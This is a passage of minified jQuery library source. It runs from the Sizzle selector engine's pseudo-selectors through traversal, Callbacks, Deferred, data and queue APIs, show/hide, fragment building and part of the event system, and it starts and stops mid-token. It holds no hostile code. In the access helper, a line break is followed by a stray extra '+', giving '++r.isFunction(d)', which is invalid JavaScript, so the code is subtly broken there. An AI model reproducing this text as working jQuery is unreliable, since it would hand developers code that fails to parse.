t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[c<0?c+b:c]}),even:pa(function(a,b){for(var c=0;c<b;c+=2)a.push(c);return a}),odd:pa(function(a,b){for(var c=1;c<b;c+=2)a.push(c);return a}),lt:pa(function(a,b,c){for(var d=c<0?c+b:c;--d>=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=c<0?c+b:c;++d<b;)a.push(d);return a})}},d.pseudos.nth=d.pseudos.eq;for(b in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})d.pseudos[b]=ma(b);for(b in{submit:!0,reset:!0})d.pseudos[b]=na(b);function ra(){}ra.prototype=d.filters=d.pseudos,d.setFilters=new ra,g=ga.tokenize=function(a,b){var c,e,f,g,h,i,j,k=z[a+" "];if(k)return b?0:k.slice(0);h=a,i=[],j=d.preFilter;while(h){c&&!(e=Q.exec(h))||(e&&(h=h.slice(e[0].length)||h),i.push(f=[])),c=!1,(e=R.exec(h))&&(c=e.shift(),f.push({value:c,type:e[0].replace(P," ")}),h=h.slice(c.length));for(g in d.filter)!(e=V[g].exec(h))||j[g]&&!(e=j[g](e))||(c=e.shift(),f.push({value:c,type:g,matches:e}),h=h.slice(c.length));if(!c)break}return b?h.length:h?ga.error(a):z(a,i).slice(0)};function sa(a){for(var b=0,c=a.length,d="";b<c;b++)d+=a[b].value;return d}function ta(a,b,c){var d=b.dir,e=b.next,f=e||d,g=c&&"parentNode"===f,h=x++;return b.first?function(b,c,e){while(b=b[d])if(1===b.nodeType||g)return a(b,c,e)}:function(b,c,i){var j,k,l,m=[w,h];if(i){while(b=b[d])if((1===b.nodeType||g)&&a(b,c,i))return!0}else while(b=b[d])if(1===b.nodeType||g)if(l=b[u]||(b[u]={}),k=l[b.uniqueID]||(l[b.uniqueID]={}),e&&e===b.nodeName.toLowerCase())b=b[d]||b;else{if((j=k[f])&&j[0]===w&&j[1]===h)return m[2]=j[2];if(k[f]=m,m[2]=a(b,c,i))return!0}}}function ua(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;d<e;d++)ga(a,b[d],c);return c}function wa(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;h<i;h++)(f=a[h])&&(c&&!c(f,d,e)||(g.push(f),j&&b.push(h)));return g}function xa(a,b,c,d,e,f){return d&&!d[u]&&(d=xa(d)),e&&!e[u]&&(e=xa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||va(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:wa(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=wa(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?I(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];i<f;i++)if(c=d.relative[a[i].type])m=[ta(ua(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;e<f;e++)if(d.relative[a[e].type])break;return xa(i>1&&ua(m),i>1&&sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,i<e&&ya(a.slice(i,e)),e<f&&ya(a=a.slice(e)),e<f&&sa(a))}m.push(c)}return ua(m)}function za(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&ga.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(_,aa),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=V.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(_,aa),$.test(j[0].type)&&qa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&sa(j),!a)return G.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,!b||$.test(a)&&qa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="<a href='#'></a>","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){if(!c)return a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="<input/>",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){if(!c&&"input"===a.nodeName.toLowerCase())return a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;if(!c)return a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&r(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},A=r.expr.match.needsContext,B=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,C=/^.[^:#\[\.,]*$/;function D(a,b,c){if(r.isFunction(b))return r.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return r.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(C.test(b))return r.filter(b,a,c);b=r.filter(b,a)}return r.grep(a,function(a){return i.call(b,a)>-1!==c&&1===a.nodeType})}r.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b<d;b++)if(r.contains(e[b],this))return!0}));for(c=this.pushStack([]),b=0;b<d;b++)r.find(a,e[b],c);return d>1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(D(this,a||[],!1))},not:function(a){return this.pushStack(D(this,a||[],!0))},is:function(a){return!!D(this,"string"==typeof a&&A.test(a)?r(a):a||[],!1).length}});var E,F=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,G=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||E,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:F.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),B.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};G.prototype=r.fn,E=r(d);var H=/^(?:parents|prev(?:Until|All))/,I={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a<c;a++)if(r.contains(this,b[a]))return!0})},closest:function(a,b){var c,d=0,e=this.length,f=[],g="string"!=typeof a&&r(a);if(!A.test(a))for(;d<e;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&r.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function J(a,b){while((a=a[b])&&1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return J(a,"nextSibling")},prev:function(a){return J(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return a.contentDocument||r.merge([],a.childNodes)}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=r.filter(d,e)),this.length>1&&(I[a]||r.uniqueSort(e),H.test(a)&&e.reverse()),this.pushStack(e)}});var K=/\S+/g;function L(a){var b={};return r.each(a.match(K)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?L(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h<f.length)f[h].apply(c[0],c[1])===!1&&a.stopOnFalse&&(h=f.length,c=!1)}a.memory||(c=!1),b=!1,e&&(f=c?[]:"")},j={add:function(){return f&&(c&&!b&&(h=f.length-1,g.push(c)),function d(b){r.each(b,function(b,c){r.isFunction(c)?a.unique&&j.has(c)||f.push(c):c&&c.length&&"string"!==r.type(c)&&d(c)})}(arguments),c&&!b&&i()),this},remove:function(){return r.each(arguments,function(a,b){var c;while((c=r.inArray(b,f,c))>-1)f.splice(c,1),c<=h&&h--}),this},has:function(a){return a?r.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function M(a){return a}function N(a){throw a}function O(a,b,c){var d;try{a&&r.isFunction(d=a.promise)?d.call(a).done(b).fail(c):a&&r.isFunction(d=a.then)?d.call(a,b,c):b.call(void 0,a)}catch(a){c.call(void 0,a)}}r.extend({Deferred:function(b){var c=[["notify","progress",r.Callbacks("memory"),r.Callbacks("memory"),2],["resolve","done",r.Callbacks("once memory"),r.Callbacks("once memory"),0,"resolved"],["reject","fail",r.Callbacks("once memory"),r.Callbacks("once memory"),1,"rejected"]],d="pending",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},"catch":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+"With"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b<f)){if(a=d.apply(h,i),a===c.promise())throw new TypeError("Thenable self-resolution");j=a&&("object"==typeof a||"function"==typeof a)&&a.then,r.isFunction(j)?e?j.call(a,g(f,c,M,e),g(f,c,N,e)):(f++,j.call(a,g(f,c,M,e),g(f,c,N,e),g(f,c,M,c.notifyWith))):(d!==M&&(h=void 0,i=[a]),(e||c.resolveWith)(h,i))}},k=e?j:function(){try{j()}catch(a){r.Deferred.exceptionHook&&r.Deferred.exceptionHook(a,k.stackTrace),b+1>=f&&(d!==N&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:M,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:M)),c[2][3].add(g(0,a,r.isFunction(d)?d:N))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+"With"](this===f?void 0:this,arguments),this},f[b[0]+"With"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b<=1&&(O(a,g.done(h(c)).resolve,g.reject),"pending"===g.state()||r.isFunction(e[c]&&e[c].then)))return g.then();while(c--)O(e[c],h(c),g.reject);return g.promise()}});var P=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console&&a.console.warn&&b&&P.test(b.name)&&a.console.warn("jQuery.Deferred exception: "+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var Q=r.Deferred();r.fn.ready=function(a){return Q.then(a)["catch"](function(a){r.readyException(a)}),this},r.extend({isReady:!1,readyWait:1,holdReady:function(a){a?r.readyWait++:r.ready(!0)},ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0&&--r.readyWait>0||Q.resolveWith(d,[r]))}}),r.ready.then=Q.then;function R(){d.removeEventListener("DOMContentLoaded",R),a.removeEventListener("load",R),r.ready()}"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener("DOMContentLoaded",R),a.addEventListener("load",R));var S=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)S(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,
++r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},T=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function U(){this.expando=r.expando+U.uid++}U.uid=1,U.prototype={cache:function(a){var b=a[this.expando];return b||(b={},T(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase(b)]=c;else for(d in b)e[r.camelCase(d)]=b[d];return e},get:function(a,b){return void 0===b?this.cache(a):a[this.expando]&&a[this.expando][r.camelCase(b)]},access:function(a,b,c){return void 0===b||b&&"string"==typeof b&&void 0===c?this.get(a,b):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d=a[this.expando];if(void 0!==d){if(void 0!==b){r.isArray(b)?b=b.map(r.camelCase):(b=r.camelCase(b),b=b in d?[b]:b.match(K)||[]),c=b.length;while(c--)delete d[b[c]]}(void 0===b||r.isEmptyObject(d))&&(a.nodeType?a[this.expando]=void 0:delete a[this.expando])}},hasData:function(a){var b=a[this.expando];return void 0!==b&&!r.isEmptyObject(b)}};var V=new U,W=new U,X=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,Y=/[A-Z]/g;function Z(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(Y,"-$&").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c||"false"!==c&&("null"===c?null:+c+""===c?+c:X.test(c)?JSON.parse(c):c)}catch(e){}W.set(a,b,c)}else c=void 0;return c}r.extend({hasData:function(a){return W.hasData(a)||V.hasData(a)},data:function(a,b,c){return W.access(a,b,c)},removeData:function(a,b){W.remove(a,b)},_data:function(a,b,c){return V.access(a,b,c)},_removeData:function(a,b){V.remove(a,b)}}),r.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=W.get(f),1===f.nodeType&&!V.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=r.camelCase(d.slice(5)),Z(f,d,e[d])));V.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){W.set(this,a)}):S(this,function(b){var c;if(f&&void 0===b){if(c=W.get(f,a),void 0!==c)return c;if(c=Z(f,a),void 0!==c)return c}else this.each(function(){W.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){W.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=V.get(a,b),c&&(!d||r.isArray(c)?d=V.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return V.get(a,c)||V.access(a,c,{empty:r.Callbacks("once memory").add(function(){V.remove(a,[b+"queue",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length<c?r.queue(this[0],a):void 0===b?this:this.each(function(){var c=r.queue(this,a,b);r._queueHooks(this,a),"fx"===a&&"inprogress"!==c[0]&&r.dequeue(this,a)})},dequeue:function(a){return this.each(function(){r.dequeue(this,a)})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,b){var c,d=1,e=r.Deferred(),f=this,g=this.length,h=function(){--d||e.resolveWith(f,[f])};"string"!=typeof a&&(b=a,a=void 0),a=a||"fx";while(g--)c=V.get(f[g],a+"queueHooks"),c&&c.empty&&(d++,c.empty.add(h));return h(),e.promise(b)}});var $=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,_=new RegExp("^(?:([+-])=|)("+$+")([a-z%]*)$","i"),aa=["Top","Right","Bottom","Left"],ba=function(a,b){return a=b||a,"none"===a.style.display||""===a.style.display&&r.contains(a.ownerDocument,a)&&"none"===r.css(a,"display")},ca=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d||[]);for(f in b)a.style[f]=g[f];return e};function da(a,b,c,d){var e,f=1,g=20,h=d?function(){return d.cur()}:function(){return r.css(a,b,"")},i=h(),j=c&&c[3]||(r.cssNumber[b]?"":"px"),k=(r.cssNumber[b]||"px"!==j&&+i)&&_.exec(r.css(a,b));if(k&&k[3]!==j){j=j||k[3],c=c||[],k=+i||1;do f=f||".5",k/=f,r.style(a,b,k+j);while(f!==(f=h()/i)&&1!==f&&--g)}return c&&(k=+k||+i||0,e=c[1]?k+(c[1]+1)*c[2]:+c[2],d&&(d.unit=j,d.start=k,d.end=e)),e}var ea={};function fa(a){var b,c=a.ownerDocument,d=a.nodeName,e=ea[d];return e?e:(b=c.body.appendChild(c.createElement(d)),e=r.css(b,"display"),b.parentNode.removeChild(b),"none"===e&&(e="block"),ea[d]=e,e)}function ga(a,b){for(var c,d,e=[],f=0,g=a.length;f<g;f++)d=a[f],d.style&&(c=d.style.display,b?("none"===c&&(e[f]=V.get(d,"display")||null,e[f]||(d.style.display="")),""===d.style.display&&ba(d)&&(e[f]=fa(d))):"none"!==c&&(e[f]="none",V.set(d,"display",c)));for(f=0;f<g;f++)null!=e[f]&&(a[f].style.display=e[f]);return a}r.fn.extend({show:function(){return ga(this,!0)},hide:function(){return ga(this)},toggle:function(a){return"boolean"==typeof a?a?this.show():this.hide():this.each(function(){ba(this)?r(this).show():r(this).hide()})}});var ha=/^(?:checkbox|radio)$/i,ia=/<([a-z][^\/\0>\x20\t\r\n\f]+)/i,ja=/^$|\/(?:java|ecma)script/i,ka={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};ka.optgroup=ka.option,ka.tbody=ka.tfoot=ka.colgroup=ka.caption=ka.thead,ka.th=ka.td;function la(a,b){var c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&r.nodeName(a,b)?r.merge([a],c):c}function ma(a,b){for(var c=0,d=a.length;c<d;c++)V.set(a[c],"globalEval",!b||V.get(b[c],"globalEval"))}var na=/<|&#?\w+;/;function oa(a,b,c,d,e){for(var f,g,h,i,j,k,l=b.createDocumentFragment(),m=[],n=0,o=a.length;n<o;n++)if(f=a[n],f||0===f)if("object"===r.type(f))r.merge(m,f.nodeType?[f]:f);else if(na.test(f)){g=g||l.appendChild(b.createElement("div")),h=(ia.exec(f)||["",""])[1].toLowerCase(),i=ka[h]||ka._default,g.innerHTML=i[1]+r.htmlPrefilter(f)+i[2],k=i[0];while(k--)g=g.lastChild;r.merge(m,g.childNodes),g=l.firstChild,g.textContent=""}else m.push(b.createTextNode(f));l.textContent="",n=0;while(f=m[n++])if(d&&r.inArray(f,d)>-1)e&&e.push(f);else if(j=r.contains(f.ownerDocument,f),g=la(l.appendChild(f),"script"),j&&ma(g),c){k=0;while(f=g[k++])ja.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="<textarea>x</textarea>",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var pa=d.documentElement,qa=/^key/,ra=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,sa=/^([^.]*)(?:\.(.+)|)/;function ta(){return!0}function ua(){return!1}function va(){try{return d.activeElement}catch(a){}}function wa(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)wa(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=ua;else if(!e)return a;return 1===f&&(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=V.get(a);if(q){c.handler&&(f=c,c=f.handler,e=f.selector),e&&r.find.matchesSelector(pa,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof r&&r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(K)||[""],j=b.length;while(j--)h=sa.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n&&(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&r.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,o,g)!==!1||a.addEventListener&&a.addEventListener(n,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=V.hasData(a)&&V.get(a);if(q&&(i=q.events)){b=(b||"").match(K)||[""],j=b.length;while(j--)if(h=sa.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+o.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&p!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)&&V.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new Array(arguments.length),j=(V.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c<arguments.length;c++)i[c]=arguments[c];if(b.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,b)!==!1){h=r.event.handlers.call(this,b,j),c=0;while((f=h[c++])&&!b.isPropagationStopped()){b.currentTarget=f.elem,d=0;while((g=f.handlers[d++])&&!b.isImmediatePropagationStopped())b.rnamespace&&!b.rnamespace.test(g.namespace)||(b.handleObj=g,b.data=g.data,e=((r.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(b.result=e)===!1&&(b.preventDefault(),b.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,b),b.result}},handlers:function(a,b){var 